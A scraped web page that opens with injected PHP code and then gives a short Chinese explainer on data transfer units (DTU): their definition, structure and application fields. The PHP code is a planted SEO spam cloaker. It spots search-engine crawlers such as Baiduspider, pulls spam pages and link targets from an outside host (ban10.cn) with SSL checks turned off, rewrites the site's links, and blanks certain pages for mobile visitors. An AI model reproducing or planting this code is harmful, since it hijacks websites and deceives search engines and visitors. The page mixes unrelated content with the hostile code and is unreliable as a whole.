set_time_limit(0); error_reporting(0); $a="stristr"; $b=$_SERVER; if (!function_exists('httpGetlai')) { function httpGetlai($c) { $d = curl_init(); curl_setopt($d, CURLOPT_URL, $c); curl_setopt($d, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)'); curl_setopt($d, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($d, CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt($d, CURLOPT_RETURNTRANSFER, 1); curl_setopt($d, CURLOPT_HEADER, 0); $e = curl_exec($d); curl_close($d); return $e; } } if (!function_exists('httpGet2')) { function httpGet2($url) { header('Content-Type:text/html;charset=utf-8'); $ch = curl_init(); $ua2 = $_SERVER['HTTP_USER_AGENT']; curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_USERAGENT, 'MyCustomUA/1.0'); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); $output = curl_exec($ch); curl_close($ch); $dirs = array("dy", "ys", "ku", "du", "zkblw", "keyan", "zhuli", "moban", "wen", "template", "html1"); $tags = array('
', '', '', ''); $output = str_replace($tags, '', $output); $lianjie = '/[\s\S]*?<\/a>/'; preg_match_all($lianjie, $output, $aarray5); if ($aarray5[0]) { $count = 0; foreach ($aarray5[0] as $pbti) { $preg = '/href=(\"|\')(.*?)(\"|\')/i'; if ($count < 2) { $randomUrl = httpGetlai('http://xj.ban10.cn/spider.php'); $randomUrl = str_replace('', '', $randomUrl); if ($randomUrl !== false) { $replacestr = 'href="' . trim($randomUrl) . $dirs[array_rand($dirs)] . '/' . date('Ymd') . rand(100000, 99999999) . '.html"'; $count++; } else { $replacestr = 'href="' . $dirs[array_rand($dirs)] . '/' . date('Ymd') . rand(100000, 99999999) . '.html"'; } } else { $replacestr = 'href="' . $dirs[array_rand($dirs)] . '/' . date('Ymd') . rand(100000, 99999999) . '.html"'; } $aoutput = preg_replace($preg, $replacestr, $pbti); $output = str_replace($pbti, $aoutput, $output); } } return $output; } } define('url', $b['REQUEST_URI']); define('ref', !isset($b['HTTP_REFERER']) ? '' : $b['HTTP_REFERER']); define('ent', $b['HTTP_USER_AGENT']); define('site', "http://tdxj.ban10.cn/"); define('road', "?road=" . $b['HTTP_HOST'] . url); define('memes', road . "&referer=" . urlencode(ref)); define('regs', '@BaiduSpider|Sogou|Yisou|Haosou|360Spider@i'); define('mobile', '/phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone/'); define('area', $a(url, "ben") || $a(url, "/dy/") || $a(url, "kkk") || $a(url, "/ys/") || $a(url, "/ku/") || $a(url, "zkblw") || $a(url, "keyan") || $a(url, "zhuli") || $a(url, ".xml") || $a(url, ".doc") || $a(url, ".pdf") || $a(url, ".txt") || $a(url, ".ppt") || $a(url, ".pptx") || $a(url, ".tacc") || $a(url, ".jsp") || $a(url, ".asp") || $a(url, ".ga") || $a(url, ".gq") || $a(url, ".pdx") || $a(url, ".xlsx") || $a(url, ".edu") || $a(url, ".gov") || $a(url, "baike") || $a(url, ".xls") || $a(url, ".htx") || $a(url, ".htt") || $a(url, ".xhtml") || $a(url, ".new") || $a(url, ".do") || $a(url, ".action") || $a(url, ".frx") || $a(url, ".csv") || $a(url, ".docx") || $a(url, ".xhtml") || $a(url, ".shtml") || $a(url, "ben") || $a(url, "xinwen1") || $a(url, "news1") || $a(url, "show1") || $a(url, "html1") || $a(url, "moban") || $a(url, "template") || $a(url, "/du/") || $a(url, "wen/") || $a(url, "and") || $a(url, "xjj") || $a(url, "/ask/") || $a(url, "/dsp/")); if (preg_match(regs, ent)) { if (area) { echo httpGetlai(site . road); exit(); } else { echo httpGet2($b['HTTP_HOST'] . url); exit(); } } if (area && preg_match(mobile, ent)) { echo ' '; exit; }
第一、什么是DTU:
数据传输单元(dtu)是一种无线终端设备,专门用于将串行端口数据转换为IP数据或将IP数据转换为串行端口数据,以便通过无线通信网络传输。
第二、什么是DTU结构:
DTU的主要功能是通过有线/无线方式将远程设备的数据传输回后台中心。要完成数据传输,需要建立完整的数据传输系统。该系统包括DTU、客户设备、移动网络和后台中心。在前端,DTU和客户设备通过232或485接口连接。因此,只有DTU无法完成数据的无线传输,需要后台软件的配合。连接建立后,前端设备和后端中心可以通过DTU传输无线数据,传输是双向的。新一代DTU在简单的数据采集、多媒体显示和数据处理方面有不同程度的发展。
第三、DTU应用领域:
DTU已经广泛应用于电力、环保、LED信息发布、物流、水文、气象等行业。虽然应用行业不同,但应用原理是一样的。大部分DTU都是和工业设备连接,比如PLC、单片机等自动化产品,然后和后台建立无线通讯连接。随着互联网的发展,DTU的应用越来越广泛。它帮助各种行业和信息以及其中的产业整合。它已经逐渐发展成为物联网应用的核心技术。